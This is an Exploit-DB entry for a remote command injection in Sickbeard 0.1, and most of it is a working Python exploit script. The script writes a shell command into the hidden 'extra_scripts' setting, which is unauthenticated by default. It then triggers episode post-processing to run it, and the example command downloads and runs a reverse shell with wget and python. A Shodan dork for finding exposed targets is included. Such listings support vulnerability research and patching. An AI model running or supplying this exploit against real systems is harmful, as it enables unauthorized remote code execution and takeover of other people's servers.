Sickbeard 0.1 - Remote Command Injection

EDB-ID:

48646

CVE:

N/A


Author:

bdrake

Type:

webapps


Platform:

Hardware

Date:

2020-07-07


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

# Exploit Title: Sickbeard 0.1 - Remote Command Injection
# Google Dork: https://www.shodan.io/search?query=sickbeard
# Date: 2020-06-06
# Exploit Author: bdrake
# Vendor Homepage: https://sickbeard.com/
# Software Link: https://github.com/midgetspy/Sick-Beard
# Version: alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121
# Tested on: Fedora 32
# CVE : NA

#!/usr/bin/env python3

import requests
import sys

HOST = 'http://localhost:8081/'

# path to local video for processing
# see HOST + home/postprocess
PROCESS_DIR = '/directory/changeme'

# Auth is disabled on default installation
USERNAME = ''
PASSWORD = ''

# see "Extra Scripts" field. HOST + config/hidden/
# multiple commands can be entered separated by '|'
CMD = 'wget -t 2 -T 1 -O /tmp/reverse_shell.py http://localhost/reverse_shell.py | python /tmp/reverse_shell.py'


def post_request(url, data):
    try:
        requests.post(url=url, data=data, auth=(USERNAME, PASSWORD))
    except requests.exceptions.RequestException as e:
        print(repr(e))
        sys.exit(1)


def set_extra_scripts():
    data = {
        'anon_redirect': 'http://dereferer.org/?',
        'display_all_seasons': 'on',
        'git_path': '',
        'extra_scripts': CMD
    }

    post_request(HOST+'config/hidden/saveHidden', data)


def process_episode():
    data = {
        'dir': PROCESS_DIR,
        'method': 'Manual',
        'force_replace': 'on'
    }

    post_request(HOST+'home/postprocess/processEpisode', data)


def main():
    try:
        print('setting scripts...')
        set_extra_scripts()

        print('processing episode. might take a few seconds...')
        process_episode()
    except KeyboardInterrupt:
        print('exit...')


if __name__ == '__main__':
    main()